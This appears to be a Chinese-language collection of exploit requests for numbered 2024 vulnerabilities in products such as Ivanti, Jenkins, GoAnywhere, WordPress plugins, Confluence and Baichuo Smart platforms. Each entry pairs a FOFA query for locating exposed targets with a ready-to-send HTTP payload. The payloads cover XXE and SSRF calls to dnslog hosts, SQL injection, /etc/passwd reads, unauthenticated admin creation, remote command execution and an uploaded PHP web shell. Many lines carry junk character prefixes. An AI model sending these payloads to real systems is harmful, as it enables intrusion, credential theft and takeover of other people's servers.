<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
# R4 ~! l0 L5 w* y& O$ `' F" BCVE-2024-22024
9 f, z! P! y7 L* e5 A, n* BFOFA：body="welcome.cgi?p=logo"
- X! @! I! n# N7 B7 k& v) }POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
0 G" N6 t4 F( ^  gConnection: close
Content-Length: 204
' z) N- g% Q# b& r6 ~( D8 PContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

+ I9 n+ X' q6 A, W0 x9 {
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
: ~/ n' p; ~0 I. {' Y6 }. P' S) u: \<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
; M9 P6 ~/ \- Y! r

104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
6 x8 ]6 h3 L% z0 CFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
0 i$ `- v: k, _' z* s- a# ?- NHost:192.168.0.1
: G8 O. {* r& Q# O( I7 Z& H; TContent-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
& o- l; U; j" z! e' IUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
. t3 l5 s" [, D5 f5 U3 S4 YContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
% q! V- K/ q# J! B/ M2 M. y2 p, GConnection:close
% ^" L' }. ?2 a6 E- d& t3 x
9 d  K5 F6 B9 @$ T5 c{
"topicurl":"getSysStatusCfg",
5 ]# b' t% o; J1 K! z& P"token":""
+ @! {" A- J+ g9 X& L7 {}

105. SpringBlade v3.2.0 export-user SQL 注入
  d3 v/ T0 [+ H4 q; S- GFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

( Q% N3 s  v/ o: M106. SpringBlade dict-biz/list SQL 注入
: ^5 |) ^7 e" gFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; ?/ z& w. A) s4 T. J& ABlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
5 p# ~0 z( {4 L- H+ k% JAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

. g: @4 G& q2 H! `# ]( K7 J: Q- t
107. SpringBlade tenant/list SQL 注入
" v$ V/ K) p5 P" I* A$ NFOFA：body="https://bladex.vip"
" \0 M( s7 o: q: b7 |GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
: y: L; V4 N0 T9 P$ [Host: your-ip
) z* i- \9 s% @3 \$ qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close

! S' m1 r. M3 C
7 W, ]; G/ X, W% _2 D108. D-Tale 3.9.0 SSRF
; ~+ [! V# y* R$ g& X) qCVE-2024-21642
0 j6 q" a0 W9 x: E* s6 i6 qFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
  A) k) }' F& l4 K, g( vAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

6 u# G  g% {+ l. o1 }' @! e4 c# N
109. Jenkins CLI 任意文件读取
CVE-2024-23897
1 n7 ?8 C) d3 D3 F1 J5 s, CFOFA：header="X-Jenkins"
; u9 P- n5 A9 v* GPOST /cli?remoting=false HTTP/1.1
# p- B. q4 w0 |, l2 ~6 o/ C9 iHost:
Content-type: application/octet-stream
6 Z2 X' K: V7 Q' C# I3 Z" cSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
$ X8 }1 p& h0 h" N2 b1 Z' ^Side: upload
Connection: keep-alive
Content-Length: 163
) R) w* {# j: I. r) H! t5 T
9 p! U: Y- ^5 B! e3 Z" V* Nb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


POST /cli?remoting=false HTTP/1.1
Host:
& }* J" V1 R3 }8 }  L4 OSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
6 w& y$ a* Z) `  f9 m' T9 Idownload
% c0 D$ f( R& q- bContent-Type: application/x-www-form-urlencoded
Content-Length: 0

) |+ J. ?- B- u7 ~: ?% P* a
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
" e4 x. z1 L$ d( l7 `/ d% P[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
# [8 J# `1 i; s: P
% a5 l; u5 B8 U+ A: M% q! N
110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
5 Q9 a/ O9 d# G! S' cGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
2 F* v. d* n' j! H% J+ j  SUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
- d. N) p3 S- B2 `$ Q' J7 U7 jConnection: close
Accept: */*
Accept-Language: en
; N' m2 l" ]2 z8 h" ?; NAccept-Encoding: gzip
% R+ m; s; C" c' w+ [5 y; n5 ^

& a7 d; q- i) o( x, l1 t$ }: n5 Z( u111. WordPress Plugin HTML5 Video Player SQL注入
; F9 e$ \0 A, f+ B  _3 e4 ?4 mCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
/ F# p: E* j4 m* K7 q$ \1 g% \" sHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
' {8 x. p* ^. m+ Y; r2 j7 ZConnection: close
* E- P3 u2 h: e: TAccept: */*
1 x3 R+ O7 j, f. v# eAccept-Language: en
% e! Q3 Y% o# t6 D" U( t. }% UAccept-Encoding: gzip
/ x) y$ ]; N9 y8 D' Z
1 s. c7 G7 t0 ^; _2 C
" C7 D4 w. f9 J  o; y112. WordPress Plugin NotificationX SQL 注入
) Z- P4 d, H. a* P% {1 KCVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
5 E0 z% N5 E: @5 vPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
+ Z  A; t  w  F$ M6 E+ b  ?Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

) v+ I1 h* A) m; I  X. E
& G' t! h- b5 q. m) t) x1 m  ?. L113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
$ g# W4 S0 n3 u. ]. ]- EAccept: */*
Accept-Language: en
6 ]  H6 _/ K( s4 ~) L' r9 YAccept-Encoding: gzip
& ?, f, `; |/ ?5 M5 j1 M. \6 a
/ G4 K0 U2 C- A% T' I& P# e3 X
114. WordPress MasterStudy LMS插件 SQL注入
4 k( K. |5 C3 G; V+ q9 nFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
1 k9 b% j; N, z! kGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
0 h6 [- v4 c% |% h( y, f' |Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
! O/ c7 X0 e1 Y

115. WordPress Bricks Builder <= 1.9.6 RCE
  `: C1 L& c# o' uCVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
+ [0 n6 A; E- V' ~第一步，获取网站的nonce值
+ M) j/ _+ r. v" N! `* U, y1 ^GET / HTTP/1.1
! o  W# ~2 w8 [0 E5 ?3 THost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
8 r. H6 X9 B- l) M* r3 d9 ?  aConnection: close
Accept-Encoding: gzip
" D$ Q0 m4 Q/ _! j$ F! T; ~1 A! Q+ H

第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
9 I2 P% M. ?; cContent-Type: application/json
2 u. u" o+ S; NAccept-Encoding: gzip

, z0 H# q9 b+ }6 `  \{
"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
( A4 {3 U% e2 C6 W* c    "settings": {
      "hasLoop": "true",
0 G) Y$ C6 q6 G$ G9 t      "query": {
        "useQueryEditor": true,
4 |; V" S  W: B! X1 M# H( }        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
8 c, u* k) a/ h/ L* S! [/ R9 c    }
) k+ A4 i9 M- M6 L  }
}

- E4 j1 Q: B* ~+ E0 V; O; K. _; o: }2 Z
. L& F8 F( F' o! @116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
& Q# }/ d5 Z6 Y/ D8 }! o, x1 pHost:
Content-Type: multipart/form-data; boundary=--------767099171
) \4 h9 }3 l. w, mUser-Agent: Mozilla/5.0
! ?+ J- ]+ d7 c  F9 v
$ l7 r1 d3 J8 L& x( ?----------767099171
Content-Disposition: form-data; name="action"
: ~7 x' u4 I: }1 [; s' K  P9 Sconfiguration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
  d' v* c) |6 ~5 d6 A! OContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--
- V: b+ n* ?, ]: s6 u1 `4 q
, Z1 G/ A& K2 P! G0 e" F9 e# j
7 k6 C) n0 W4 i5 }: ?" S6 u( V117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
2 K# T6 S6 t# D* ~FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
  I; z! n% O% k* G& R* o- @2 @  dHost: your-ip
9 ^' A6 d7 r7 n- }( f: KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
5 }7 B9 B. s; z! ^5 [1 ]8 |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& y8 E+ P$ ]3 x2 w/ Y1 Z3 JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
* |/ k. c; a. I  t' dConnection: close
# h+ N" p! P; l6 q9 n/ ]; wUpgrade-Insecure-Requests: 1
( c% T* D- P6 @4 |
$ Z6 ^) y, I  R. n, K" E; U
, f3 e, z' O! _' o118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
4 l8 z! Q0 p' nFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
* |8 u+ P9 i6 m9 j5 vCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
' v; U4 Y5 e. U1 r* [' dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
/ J4 t& S& u7 w( r- Y$ ~% WContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
7 c* x. A8 w# V/ X5 H$ eContent-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
5 {" A% Z+ {2 q5 xUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
8 w9 k( {; e$ I) I8 }+ U$ pSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
1 U7 w7 @, N9 U7 M9 Y: RTe: trailers
Connection: close
& l2 L8 @9 F. D* `8 i" i
-----------------------------13979701222747646634037182887
$ g' f% K: M! K. Y5 X4 V3 J$ LContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

<?php
6 ~1 Q4 `* ^, y! g& f. [! wsystem($_POST["passwd"]);
?>
7 x# G! N' U% x0 N-----------------------------13979701222747646634037182887
- P- E" {3 n0 z- H" E1 xContent-Disposition: form-data; name="txt_path"

7 \7 Z. @2 m# P% l: q' ~" L/home/src.php
-----------------------------13979701222747646634037182887--
& i$ L1 c% q, U
3 R- i0 e3 I# R, s
访问/home/src.php
- U" R4 S! F  e3 m
119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
% O; Y0 o8 `$ X  B% s2 ^FOFA：title="Smart管理平台"
0 t$ m5 v. G  O0 @先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
% ~+ O% Y2 D& X4 B* Q7 f# UHost: x.x.x.x
+ n  P! B& E4 y" \! p& \7 P; ^Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: T8 E4 J5 O+ }, }* U! C3 A" VAccept-Encoding: gzip, deflate
& G; {" T3 ~0 a& OContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
- n6 N% [% g- K# Y5 t8 D9 z; h3 wOrigin: https://58.18.133.60:8443
+ {) T2 e( g! k7 P9 n1 xReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
- j5 j5 w: [6 F: I* e1 QSec-Fetch-Site: same-origin
8 J8 r" q5 O: \9 u& TX-Forwarded-For: 1.1.1.1
7 [% Z& {* ~5 p1 e5 u6 AX-Originating-Ip: 1.1.1.1
8 D( |4 [, @( lX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
; V7 i* g3 x" ~

: @4 J3 N* K1 C- r0 @- T  T120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
( O4 C3 M8 t# |' s$ M* C- KPOST /useratte/web.php? HTTP/1.1
5 _/ I/ S+ b0 |5 X6 V, e" OHost: ip:port
: A& X$ ?, M2 `  c+ Q6 E; _" MCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
' Z) @( ]/ _, h  }# R  YContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
! j7 S, S- x) j. @  qReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
/ ^' t3 [1 h% I3 z+ QSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
1 s0 S2 B1 O$ Q7 ~3 v# A4 B; [& vTe: trailers
# G% E+ P( r! Y8 @% n! Z* P# dConnection: close
  ?9 c3 i' b, k* O( g/ ^
3 i. ~4 t2 {/ }8 s6 i-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
& G" Z4 |7 \, BContent-Type: application/octet-stream
0 L4 z8 s+ e9 B8 F9 ?9 r
$ e$ e- r5 C* ?<?php phpinfo()?>
7 I( A% h7 X5 b! R5 m; ?/ d7 ~# H-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
% N8 B" {0 z8 N" d! ~  k-----------------------------42328904123665875270630079328
! w) D; t& R  O- z9 P# s/ z- vContent-Disposition: form-data; name="1_ck"
0 ]  v4 D+ w: G) O& C/ i
8 a! ]* d/ X. a9 @' e+ g' ]1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
9 a! ]4 X5 u0 ^
; r2 |% K' x( j- fimport
-----------------------------42328904123665875270630079328
( n* {+ D5 }9 Y
+ d9 z+ k3 y# m6 i' m4 s+ d8 B$ C
文件路径/upload/2.php

% T2 K' }$ y4 z" W+ i121. 北京百绰智能S42管理平台userattestation.php任意文件上传
7 q* h' C% [" e0 ~0 Y# ?2 V. rCVE-2024-1918
FOFA：title="Smart管理平台"
' M7 M/ w3 r( l. _7 aPOST /useratte/userattestation.php HTTP/1.1
1 G- w, _* @0 c4 UHost: 192.168.40.130:8443
; [; j  U( J0 f  U. _Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
4 J* x* L2 |  h1 Z+ RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! I. P6 E0 l) P+ qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' I3 {) I3 Q) q; G; }9 V4 AAccept-Encoding: gzip, deflate
: f& u" v- `1 j0 QContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
; U$ t4 s: u# Y; mContent-Length: 592
+ l1 H9 e. k+ o" ~8 q! G6 [Origin: https://192.168.40.130:8443
9 J* ]# A0 E" v, Y: Y0 z7 EUpgrade-Insecure-Requests: 1
% Q: V9 c9 y9 o/ wSec-Fetch-Dest: document
" x3 B7 d& R# n2 tSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
- e, b' ?3 Z5 Z4 s( PSec-Fetch-User: ?1
4 k; N8 D" [# @5 ^* ~6 o7 gTe: trailers
! I$ i( G; z: E- ?3 i! ?Connection: close
9 b5 P' p7 O2 J5 x7 P1 c
8 H' D" `) Z* Y2 M! n-----------------------------42328904123665875270630079328
9 @( d- b( L( y/ T+ p/ E( i6 kContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
4 w( W) T, o4 b& {: u6 j-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
. @4 ^4 Z6 }  A! P
1 B% t& k9 u- i! @# o1_radhttp
-----------------------------42328904123665875270630079328
' ?2 E) ?7 d  C; Y- a7 GContent-Disposition: form-data; name="hidwel"

4 |4 B  G6 V3 X0 o$ ]set
-----------------------------42328904123665875270630079328
6 i* m8 w4 n8 }
5 p: Q, n; `! |( i1 J
, d& `) C0 v; I0 ~) ^: ]boot/web/upload/weblogo/1.php
* r' b6 c, s9 z: T6 v/ L% o
122. 北京百绰智能s200管理平台/importexport.php sql注入
2 ]9 b' Z: J: k" sCVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
# t! K; J" ]2 D+ i- YGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
$ q: t* ^$ I& j/ e9 ]Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
/ d2 g2 s7 W# ]& `4 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
! x. _: Y3 |# S+ ~7 _% \: X* JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. E0 N/ h: E( s3 P$ bAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
0 B9 Z, T, ?, `Sec-Fetch-User: ?1
5 ~- I0 E! U0 HTe: trailers
Connection: close
( R( B! h% r: L

123. Atlassian Confluence 模板注入代码执行
7 f8 `" c+ g4 u" l1 b/ [FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
# y4 n' ^; y7 l% A' a" gHost: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
3 U0 J) i3 T3 k& v# hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded

: A: Q& c0 v- c- Ulabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

1 M/ I  B8 a. j" z  X+ X
9 ]" g5 }' `+ T1 X  k  ]5 y124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
: W0 C# J$ }0 B5 H  F7 j+ FPOST /Scripts/admintool?type=updatefile HTTP/1.1
7 V- d+ _! _% U. d+ i7 F1 H9 yHost: 192.168.40.130:8282
3 Y' G. k/ ]0 @/ o$ mUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
, l# L! @  X0 N2 F% W) |# K; D( nAccept-Encoding: gzip, deflate, br
( N9 ?3 r2 S  P$ q& TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
& r* y$ ]& D# WContent-Type: application/x-www-form-urlencoded
+ F2 j% w* S3 R7 f! b6 {& s
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>

2 w1 n2 |0 H& J) ~+ ^8 m( F. [/ i
3 x7 N+ ~% J& Q8 I- d% I: |! Y( F% O3 \http://192.168.40.130:8282/Scripts/abcgcg.aspx
6 E8 ^9 s! z7 \
125. ConnectWise ScreenConnect身份验证绕过
# `6 q$ n6 Y* v' d$ n2 JCVE-2024-1709
3 t3 b+ b2 a; U) L# lFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc


使用方法
9 \- X. q9 r& [8 r. k- W4 Xpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
2 Y+ b3 `! W0 G. g

创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
5 c* k5 m: c5 F" f; U: `1 O9 }3 _6 m" @Connection: close
5 b  b5 O& |: H1 @8 L. @Accept: */*
% c; C2 W, q* ]8 pAccept-Language: en
Accept-Encoding: gzip
) h2 H3 e9 s5 y% Z
# w. p4 q' ?3 f! Y% @$ a
127. 广联达Linkworks DataExchange.ashx XXE
. Y2 ]. c# r! J3 V7 j6 yFOFA：body="Services/Identification/login.ashx"
2 S5 w! u: a1 ^POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
" _" R# Y# w1 Q& H! cHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
+ r% |& \7 _' GContent-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
3 [# X  L/ z; B- }2 \: w- @7 _Accept-Language: zh-CN,zh;q=0.9
Connection: close
: x' E, D4 @/ r9 k3 i1 E3 `; {Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
6 {) Z# X8 v4 ~8 g& ]+ pPurpose: prefetch
Sec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
